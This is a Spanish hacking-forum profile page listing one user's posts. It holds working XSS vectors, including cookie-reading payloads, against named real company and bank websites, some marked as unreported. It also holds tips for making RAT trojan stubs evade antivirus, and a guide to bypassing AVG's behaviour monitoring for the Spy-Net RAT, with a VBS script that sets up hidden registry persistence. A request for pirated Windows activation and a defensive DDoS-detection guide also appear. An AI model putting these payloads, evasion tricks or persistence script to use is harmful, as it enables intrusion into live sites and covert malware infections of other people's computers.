Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Cronos

#41
Hacking ShowOff / XSS Samsungmobilepress
Enero 23, 2013, 10:21:01 AM


Web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Vector:  <script>alert("CRONOS")</script>

Autor: Cronos

Reportado: No
#42
Hacking ShowOff / XSS Garbarino
Enero 22, 2013, 11:59:31 PM




Web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Vector: <script>alert(document.cookie);</script>

Autor: Cronos

Reportado: Si
#43
Hacking ShowOff / XSS Supervielle
Enero 22, 2013, 11:29:06 PM




Web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Vector: "><script>alert(document.cookie);</script>

Autor: Cronos

Reportado: Si
#44
Hacking ShowOff / XSS Renault.com
Enero 22, 2013, 06:12:17 PM


Web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Vector: "><script>alert(/Cronos/)</script>

Autor: Cronos

Reportado: Si
#45
Hacking ShowOff / XSS FoxSportla
Enero 22, 2013, 06:10:07 PM


Web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Vector: "><script>alert(/Cronos/)</script>

Autor: Cronos

Reportado: Si
#46
Hacking ShowOff / XSS file.downloadatoz.com
Enero 22, 2013, 06:09:03 PM


Web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Vector: <script>alert(/Cronos/)</script>

Autor: Cronos

Reportado: Si
#47


Web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Vector: "><script>alert(/Cronos/)</script>

Autor: Cronos

Reportado: Si
#48
Hacking ShowOff / XSS Jumbo Chile
Enero 22, 2013, 06:05:59 PM


Web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Vector: <script>alert(/Cronos/)</script>

Autor: Cronos
#49
Hacking ShowOff / XSS Porsche
Enero 22, 2013, 06:04:15 PM


Url : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Vector: <script>alert(/Cronos/)</script>

Autor: Cronos

Reportado: No (Me da error cuando quiero contactarlos :/)
#50
Hacking ShowOff / XSS Ferrari.com
Enero 22, 2013, 06:02:39 PM


Url : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Vector: <script>alert(/Cronos/)</script>

Autor: Cronos

Reportado: SI
#51
Recursos / GraphicRiver Straight Logo Mockup
Enero 16, 2013, 02:20:33 PM


Fuente: Level-23

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#52




GraphicRiver Medieval Photoshop Text Effects 2 of 2
Layered PSD | Photoshop PAT | Photoshop ASL | 64.3 Mb


The pack include 12 individual .PSD files with separated text effects. To edit, just click on the text with the type tool and change the text. If you want to change the font just select both layers and change the font! Is very Easy!

Fuente: Level-23

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#53
Recursos / 8 Free Sticker Photoshop Styles
Enero 16, 2013, 10:28:10 AM


Fuente: Level-23

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#54
Recursos / 4 Free Metal Text Effect Styles
Enero 16, 2013, 10:27:27 AM


4 Free Metal Text Effect Styles
Resolution:
File Format: ASL
File Size: 303KB
Number of Items in Set: 4
Author: Free PSD Files

Fuente: Level-23

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#55
Recursos / 6 Free Pushed Text Effects
Enero 16, 2013, 10:26:44 AM


6 Free Pushed Text Effects
Resolution:
File Format: ASL
File Size: 7.34KB
Number of Items in Set: 6
Author: Free PSD Files

Fuente: Level-23

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#56
Presentaciones y cumpleaños / I'm back
Enero 11, 2013, 10:19:16 AM
Disculpen por mi ausencia. Estoy de vuelta en lo que pueda ayudarlos.
Saludos,, Cronos.-
#57
Buenas comunidad, me eh descargado un libro desde la biblioteca de Google y solo los descarga con estas extenciones ".bibtex", ".enw" y ".ris"
Alguien sabe y tiene algun programa para poder leer y/o abrir estos archivos?
Desde ya muchas gracias y saludos,, Cronos.-
#58
Buenos dias, como dice el titulo ando teniendo problema con el <input type="radio"/>
Esta funcion tiene la caracteristica de que solo puede ser selccionada una de ellas, pero yo al colocar 2 me deja tildar ambas.. Alguien sabe si tienen que estar dentro de alguna otra funcion o etiqueta para que sea valido esto?
Saludos,, Cronos.-
#59
Buenos dias, el titulo nose si esta bien pero mi problema es el siguiente.
Usando un textarea para almacenar un textito con saltos de lineas y guardarlo en una string, al mostrarlo luego me muestra el texto sin saltos de lineas, sino que los cambias por espacios, es decir un texto de corrido.
Alguien sabe porque y/o como salucionarlo, para cuando quiera mostrarlo el salto de linea siga su lugar?
Saludos,, Cronos.-
#60
Buenos dias como el titutlo lo dice, mis abuelo se han comprado un GPS modelo MDX MO-G434.
Se lo compro en Paraguay y esta de los pelos hace meses porque no consigue alguien le pueda cargar bien los mapas..
Alguien conoce este modelo y sabe de donde puedo descargar los mapas? Los mapas serian de Argentina y Chile mas que nada, si hay mas mejor. Pero la verdad que yo de GPS nose nada.. Una manito no me vendria mal :)
Saludos y Gracias desde ya,, Cronos.-
#61
Bueno como el titulo lo dice, ando buscando una buena empresa de hosting para contratar. Eh visto varias pero tambien me gustaria su opinion, la empresa tiene que ser accesible, es decir que no sea cara y te brinde buenos planes..
Eh visto una empresa llamada Duplika que no me parecio mala, pero si conoces de alguna mejor o tienen experiencias me gustaria que las cuenten!
Saludos,, Cronos.-
#62
Tengo una duda y un problema, desarollando una aplicacion y testiandola en mi localhost funciona todo bien. Pero cuando la subo a un host gratiuto para probarlo y mostrarlo a amigos. Este me agrega antes de las dobles comillas una barra unvertida y en los espacio un Z.
Por lo que eh leido es la configuracion el magic_quotes_gpc, que lei que agrega cono un separador que en este caso seria la barra invertida para las comillas sobles y otros caracteres. Alguien puede aclararme esta duda.
Saludos,, Cronos.-
#63
Buenos dias comunidad! de vuelta con otra duda.
Estube haciendo un Encrypt-Decrypt en Uuencode, lo deben conocer los que programan php. Es una simple encryptacion que hace una funcion.
Pero tengo un problema, es mejor que lo vean ustedes mismos. Les dejo un video y el codigo aver si alguien puede darme una mano como tapar esta vulnerabilidad!



Código: php

<form action="encrypt.php" method="POST">
<center>
<font size="5"><b>Encrypt - Decrypt Uuencode</b></font><br />
    <font size="-1" color="#333333">Code by Cronos</font><br /><br />
    <input type="text" name="encryp" id="encryp" size="50"/>
        <input type="submit" value="Encrypt" />
        <br />
          <?
  if($_POST)
{
$encry = $_POST['encryp'];
echo convert_uuencode($encry);
}
  ?>
          <br />
        <input type="text" name="decryp" id="decryp" size="50"/>
        <input type="submit" value="Decrypt" />
        <br /> 
  <?
  if($_POST)
{
    $decry = $_POST['decryp'];
echo convert_uudecode($decry);
}
  ?>
</center>
</form>


Saludos,, Cronos.-
#64
Back-end / Convertidor Text to Ascii by Cronos
Junio 29, 2012, 01:18:14 AM
Buenos dias comunidad, les dejo este code que recien hice. Como el titulo lo dice convierte texto a ascii, nada del otro mundo, pero es mi primer proyecto ya que me inicie en php hace solo unos dias y queria compartirlo con ustedes :)

Código: php

<form action="index.php" method="post">
<center>
    <h2>Text to Ascii</h2>
        <input type="text" name="datos" id="datos" size="30"/>
            <input type="submit" value="Convertir" />
        </center>
</form>
<center><b><font color="#333333" size="-1">Code by Cronos</font></b></center>

<center>
<?
if($_POST)
{
$datitos = $_POST['datos'];
echo '<br />';
echo '<br />';
for($i=0; $i<strlen($datitos); $i++)
  {
echo ord($datitos[$i]).', ';
}
}
    ?>
</center>


Para lo que quieren probarlo: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos,, Cronos.-
#65
Dudas y pedidos generales / [SOLUCIONADO] Duda PHP
Junio 28, 2012, 11:03:40 PM
Buenos dias comunidad, les comento que estoy iniciandome en el mundo php y tengo una duda.
Quiero ver si hay alguna funcion que pueda hacer lo siguiente: Separar una variable formada por una palabra, una horacion o un texto, y me valla dando cada caracter. Es decir: si la variable vale "Juancho" que me valla dando "J" "u" "a""n" "c" "h" "o". Osea los caracteres que lo forman. Nose si esto sera posible. Si no hay una funcion para esto. Si alguien sabe como hacerlo me seria de mucha ayuda!
Saludos,, Cronos.-
#66
Buenos dias, les dejo este video donde explico como crear un firma simple en photoshop. Seguramente van a sacar muchas ideas.


Saludos,, Cronos.-
#67
Bueno aca les dejo mi mejor coleccion de styles. Con ellos hago casi todas mis diseños!
Espero que le den un buen uso.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos,, Cronos.-
#68
Buenos dias, el otro dia estaba haciendo una pequeña aplicacion en la cual me quede un poco atorado.
Necesito colocar una password pero sin que me la muestre, es decir que cuando escriba no me muestre el texto sino que asteriscos, lo comun es todos los login.
No tengo idea de como hacer esto, si alguien me podria dar una mano estaria muy agradecido.

Lenguaje C. IDE Dev C++.

Saludos,, Cronos.-
#69
Buenos dias, ando buscando alguna manera de activar mi windows 7 ultima (pirata), si alguien conoce un metodo efectivo y que actualmente funcione. Porque andan mucho por la red pero esta quemados.
Desde ya, muchas gracias!
Saludos,, Cronos.-
#70
Bueno amigos aqui os dejo un pequeño tip para unos avs como MS Security Essentials, norton antiviruz bitdefender y como ya deven de saber g-Data etc

el tip es cencillo y es para los que tienen flojera de instalarse esos avs!

aqui la imagen :drinking:



el 06 por un 90 o 00 ai buscaran sus combinaciones!XD :beach:

el offset  es: 210 en la cabecera variara dependiendo que encrypten!

Saludos,, Cronos.-
#71
Bueno, el tip es el siguiente,cuando vaya a compilar el Stub,no lo llames ni:

-Stub.exe
-Stb.exe
-Stub.dll
-Server.exe
-Ni Similares.

Llamalo por ejemplo "Calculadora.exe",si estais haciendo una mod ya compilada,pues Reshacker,y lo cambiais.

Autor: k0ws

Saludos,, Cronos.-
#72
AVG Identity Protection es un modulo que trae incorporado el AVG Antivirus 2011, tanto la versión gratuita como las de pago.

Como dice la descripción que veis en la imagen, este modulo lo que hace es analizar el comportamiento de los ejecutables en busca de movimientos sospechosos, eso significa que aunque vuestro server esté fud será detectado al ejecutarlo y posteriormente eliminado.

¿Y que hay que hacer para burlar esta protección? Pues configurar nuestro server de forma que no se comporte como un troyano.

Pondré el ejemplo con Spy-Net pero funciona con cualquier RAT. Para que funcione tenéis que dejar marcadas las opciones como las veis en la imagen:

Fijaros bien que en el directorio de instalación puse este signo: <
Eso es porque los direcctorios de instalación que hay para elegir son detectados por AVG como "Movimiento sospechoso", entonces, al poner ese signo que no está permitido en los nombres de carpetas, el server se instalará automaticamente en la carpeta %APPDATA%.

Ahora lo que aremos sera abrir el notepad y pegar este texto:


Código:
set indetectable = createobject("wscript.shell")
indetectable.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Ru n\PRUEBA" , "%APPDATA%\PRUEBA\PRUEBA.exe" , "REG_EXPAND_SZ"
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta "attrib +r +s +h %APPDATA%\PRUEBA" , VbHide
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta "attrib +r +s +h %APPDATA%\PRUEBA\*.*" , VbHide

Y lo guardamos como "autoinicio.vbs". Este archivo lo hace es ocultar nuestro server y agregarlo al registro de windows para que se inicie con el sistema, ahora lo unimos al server así:

Y con esto conseguimos bypassear el AVG Identity Protection. 

NOTA: Donde pone "PRUEBA" podéis poner lo que queráis pero recordar que la carpeta donde se instala el server tendréis que ponerla también en el archivo .vbs

Saludos,, Cronos.-
#73
Seguridad / Proteger tu web ante un ataque DDOS
Julio 23, 2011, 09:37:37 PM
Intentando detener un DDoS

Porque un null-route a una ip no es una solución, es una chapuza.
Si unos script-kiddies están DDoSeando tu web.....

1) Se basa en ataques reales.
2) No hay nada de teoría, solo parte práctica.

A) Detectando el ataque
1) Usando el comando netstat

Código: php
netstat -an | grep :80 | sort


Código: php
netstat -n -p | grep SYN_REC | awk '{print $5}' | awk -F: '{print $1}'


Código: php
netstat -n -p|grep SYN_REC | wc -l


Código: php
netstat -lpn|grep :80 |awk '{print $5}'|sort


Código: php
netstat -an | grep :80 | awk '{ print $5 }' | awk -F: '{ print $1 }' | sort | uniq -c | sort -n


Ejemplo de ataque SYN_RECV o SYN Flooding al Apache (puerto 80).

192.168.0.3 es la ip del servidor apache y 192.168.0.105 es la ip del "atacante".

Código: php
tcp        0      0 192.168.0.3:80          192.168.0.5:60808     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60761     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60876     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60946     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60763     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60955     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60765     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60961     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60923     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61336     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61011     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60911     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60758     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60828     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61114     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61074     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60826     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60959     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60900     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60940     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60920     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60825     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60945     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60913     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61009     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60755     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60904     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61583     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60910     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60915     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60827     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61458     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60908     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61007     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60927     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60951     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60942     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61113     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60909     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60822     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60894     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60952     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60928     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60936     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60906     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61466     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60919     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60914     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60926     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60939     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60931     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60831     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60823     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60954     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60916     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60963     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60947     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61006     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60933     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60950     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60895     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60917     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61480     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60935     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60960     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60767     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60918     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60821     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61077     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60905     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61517     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60893     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60953     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60903     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61439     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61337     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61545     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61299     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61010     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60930     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60744     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60929     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60754     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61008     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61116     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60811     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60807     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60938     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60764     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60873     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60817     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61550     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60748     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60956     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60753     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61115     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60741     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61075     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60948     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60829     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60943     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61338     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60762     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60824     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60830     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61535     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60898     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60815     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60962     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60957     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60944     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60921     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60759     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60897     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61518     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60958     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60922     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60937     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60875     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60766     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60751     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60768     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60743     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61076     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60912     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60816     SYN_RECV


Claro ejemplo de SYN Attack al Apache.

2) Mirando el server-status del Apache

Si miramos el server-status del apache veremos conexiones en estado "Reading" ("R" Reading Request).

El problema es que cuando el número de conexiones "Reading" llena el "MaxClients" del Apache no acepta nuevas peticiones, por lo que los nuevos clientes, aunque sean legítimos, no serán aceptados.

Podemos aumentar el valor del "MaxClients" para que no se llene la cola de peticiones y acepte a todos los clientes, sean atacantes o no.

Otra buena medida es bajar el valor del "Timeout" del Apache para que las peticiones "Reading" sean "matadas" rápidamente, antes que pueda llenarse el MaxClients a su tope.

Para aumentar el MaxClients en el Apache 2 basta con añadir la directiva:

ServerLimit 350 antes de MaxClients y ya dejará.

<IfModule prefork.c>
[..]
ServerLimit 500
MaxClients 450
[..]
</IfModule>

3) Mirando los logs del mod_evasive

CitarJun 22 18:24:04 lan mod_evasive[3835]: Blacklisting address 82.228.169.50: possible attack.
Jun 22 18:24:45 lan mod_evasive[3600]: Blacklisting address 81.206.164.163: possible attack.
Jun 22 18:25:46 lan mod_evasive[3589]: Blacklisting address 155.232.250.19: possible attack.
Jun 22 18:27:23 lan mod_evasive[3671]: Blacklisting address 83.227.217.2: possible attack.
Jun 22 18:28:10 lan mod_evasive[3673]: Blacklisting address 68.187.171.89: possible attack.
Jun 22 18:29:57 lan mod_evasive[3605]: Blacklisting address 70.143.2.130: possible attack.
Jun 22 18:30:45 lan mod_evasive[3803]: Blacklisting address 69.157.93.88: possible attack.
Jun 22 18:31:45 lan mod_evasive[10397]: Blacklisting address 146.64.81.22: possible attack.
Jun 22 18:35:01 lan mod_evasive[3794]: Blacklisting address 66.38.192.134: possible attack.
Jun 22 18:35:15 lan mod_evasive[3553]: Blacklisting address 81.190.204.64: possible attack.
Jun 22 18:40:10 lan mod_evasive[16602]: Blacklisting address 64.231.39.129: possible attack.
Jun 22 18:48:04 lan mod_evasive[16479]: Blacklisting address 84.99.195.100: possible attack.
Jun 22 18:48:12 lan mod_evasive[16467]: Blacklisting address 201.0.10.142: possible attack.
Jun 22 18:52:57 lan mod_evasive[16573]: Blacklisting address 219.95.39.242: possible attack.
Jun 22 18:53:07 lan mod_evasive[16534]: Blacklisting address 86.129.3.91: possible attack.
Jun 22 18:53:26 lan mod_evasive[16527]: Blacklisting address 62.254.0.32: possible attack.
Jun 22 18:54:41 lan mod_evasive[30473]: Blacklisting address 24.196.199.191: possible attack.
Jun 22 18:55:17 lan mod_evasive[30520]: Blacklisting address 142.161.157.227: possible attack.
Jun 22 18:55:24 lan mod_evasive[30461]: Blacklisting address 65.92.145.133: possible attack.
Jun 22 18:55:33 lan mod_evasive[30509]: Blacklisting address 88.111.227.200: possible attack.
Jun 22 18:56:13 lan mod_evasive[30473]: Blacklisting address 69.199.94.227: possible attack.
Jun 22 18:57:45 lan mod_evasive[30517]: Blacklisting address 86.125.135.212: possible attack.
Jun 22 18:57:54 lan mod_evasive[30479]: Blacklisting address 84.192.141.65: possible attack.
Jun 22 18:58:46 lan mod_evasive[30527]: Blacklisting address 83.140.97.106: possible attack.
Jun 22 18:59:31 lan mod_evasive[30469]: Blacklisting address 82.173.216.196: possible attack.
Jun 22 19:00:33 lan mod_evasive[30517]: Blacklisting address 80.176.157.245: possible attack.
Jun 22 19:00:38 lan mod_evasive[30470]: Blacklisting address 86.133.102.51: possible attack.
Jun 22 19:01:35 lan mod_evasive[30870]: Blacklisting address 24.42.134.253: possible attack.
Jun 22 19:01:48 lan mod_evasive[30509]: Blacklisting address 62.254.0.34: possible attack.
Jun 22 19:02:57 lan mod_evasive[31009]: Blacklisting address 81.227.219.125: possible attack.
Jun 22 19:03:29 lan mod_evasive[31056]: Blacklisting address 172.209.173.153: possible attack.
Jun 22 19:05:07 lan mod_evasive[31385]: Blacklisting address 84.6.12.110: possible attack.
Jun 22 19:06:52 lan mod_evasive[31008]: Blacklisting address 85.227.144.249: possible attack.
Jun 22 19:06:56 lan mod_evasive[31263]: Blacklisting address 213.222.156.222: possible attack.
Jun 22 19:07:13 lan mod_evasive[31393]: Blacklisting address 62.163.143.166: possible attack.
Jun 22 19:07:37 lan mod_evasive[31021]: Blacklisting address 62.135.101.73: possible attack.
Jun 22 19:08:03 lan mod_evasive[31251]: Blacklisting address 82.201.249.69: possible attack.
Jun 22 19:08:17 lan mod_evasive[31200]: Blacklisting address 81.62.65.53: possible attack.
Jun 22 19:11:04 lan mod_evasive[31263]: Blacklisting address 82.39.148.204: possible attack.
Jun 22 19:12:37 lan mod_evasive[31241]: Blacklisting address 213.222.154.13: possible attack.
Jun 22 19:13:54 lan mod_evasive[31027]: Blacklisting address 81.51.79.4: possible attack.
Jun 22 19:24:04 lan mod_evasive[31041]: Blacklisting address 84.221.118.156: possible attack.
Jun 22 19:48:47 lan mod_evasive[3400]: Blacklisting address 62.135.101.192: possible attack.
Jun 22 19:53:04 lan mod_evasive[31031]: Blacklisting address 62.30.33.13: possible attack.
Jun 22 19:54:32 lan mod_evasive[31016]: Blacklisting address 72.14.194.18: possible attack.
Jun 22 19:56:10 lan mod_evasive[31067]: Blacklisting address 198.96.34.58: possible attack.
Jun 22 20:03:24 lan mod_evasive[5144]: Blacklisting address 172.213.33.242: possible attack.
Jun 22 20:08:31 lan mod_evasive[5137]: Blacklisting address 83.241.11.16: possible attack.
Jun 22 20:21:59 lan mod_evasive[6645]: Blacklisting address 201.23.193.20: possible attack.
Jun 22 20:32:28 lan mod_evasive[7801]: Blacklisting address 212.38.134.172: possible attack.
Jun 22 20:45:46 lan mod_evasive[7836]: Blacklisting address 81.247.11.48: possible attack.
Jun 22 20:48:03 lan mod_evasive[7796]: Blacklisting address 70.245.98.186: possible attack.
Jun 22 20:49:38 lan mod_evasive[7832]: Blacklisting address 61.8.138.203: possible attack.
Jun 22 20:51:21 lan mod_evasive[7801]: Blacklisting address 201.132.197.161: possible attack.
Jun 22 20:57:18 lan mod_evasive[10426]: Blacklisting address 82.201.249.67: possible attack.
Jun 22 20:57:51 lan mod_evasive[7822]: Blacklisting address 81.77.26.162: possible attack.
Jun 22 21:00:25 lan mod_evasive[7817]: Blacklisting address 200.39.202.243: possible attack.
Jun 22 21:12:04 lan mod_evasive[7794]: Blacklisting address 84.27.139.25: possible attack.
Jun 22 21:22:27 lan mod_evasive[7816]: Blacklisting address 217.208.98.254: possible attack.

Si es un DDoS muy distribuido enseguida notaremos que muchas ip's diferente DoSean el Apache.

4) Mirando los logs del syslog (del kernel)

CitarMay 17 13:39:01 lan kernel: possible SYN flooding on port 80. Sending cookies.
May 17 13:39:02 lan kernel: ip_conntrack: table full, dropping packet.
May 17 13:39:35 lan kernel: NET: 4 messages suppressed.
May 17 13:39:35 lan kernel: ip_conntrack: table full, dropping packet.
May 17 13:39:38 lan kernel: NET: 1 messages suppressed.
May 17 13:39:38 lan kernel: ip_conntrack: table full, dropping packet.
May 17 13:39:43 lan kernel: NET: 6 messages suppressed.
May 17 13:39:43 lan kernel: ip_conntrack: table full, dropping packet.
May 17 13:39:48 lan kernel: NET: 4 messages suppressed.
May 17 13:39:48 lan kernel: ip_conntrack: table full, dropping packet.
May 17 13:39:52 lan kernel: NET: 9 messages suppressed.
May 17 13:39:52 lan kernel: ip_conntrack: table full, dropping packet.
May 17 13:39:57 lan kernel: NET: 15 messages suppressed.
May 17 13:39:57 lan kernel: ip_conntrack: table full, dropping packet.
May 17 13:40:01 lan kernel: possible SYN flooding on port 80. Sending cookies.

Líneas a mirar:

Citarpossible SYN flooding on port 80. Sending cookies.
"Sending Cookies" si lo tenemos activado en el /etc/sysctl.conf
# Enable TCP SYN Cookie Protection

Código: php
net.ipv4.tcp_syncookies = 1


A veces es mejor deshabilitarlo:

Código: php
net.ipv4.tcp_syncookies = 0


De esta manera podemos ver las ip's del ataque:

CitarJul 14 12:46:50 lan kernel: TCP: drop open request from 80.171.45.81/63069
Jul 14 12:46:55 lan kernel: NET: 1401 messages suppressed.
